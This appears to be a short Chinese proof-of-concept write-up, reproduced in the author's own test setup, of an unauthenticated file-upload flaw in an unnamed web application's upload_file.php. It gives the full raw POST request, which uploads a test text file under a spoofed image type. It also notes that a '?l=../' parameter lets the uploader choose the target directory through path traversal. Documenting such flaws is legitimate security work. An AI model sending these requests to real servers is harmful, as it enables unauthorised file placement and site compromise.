自行搭建测试环境

image

漏洞文件

http://xx.xx.xx.xx/Upload/upload_file.php

image

直接post上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST http://192.168.1.88/Upload/upload_file.php HTTP/1.1
Host:192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Referer:192.168.1.88
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
Content-Length: 167

------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="TESTtest1.txt"
Content-Type: image/avif

test
------WebKitFormBoundaryfcKRltGv--

image

验证结果

image

注:

http://xx.xx.xx.xx/Upload/upload_file.php

后面可带 ?l=../xx 参数可控制上传目录
比如

Upload/upload_file.php?l=../test

image

上传的文件会到根目录新建的test文件夹中

image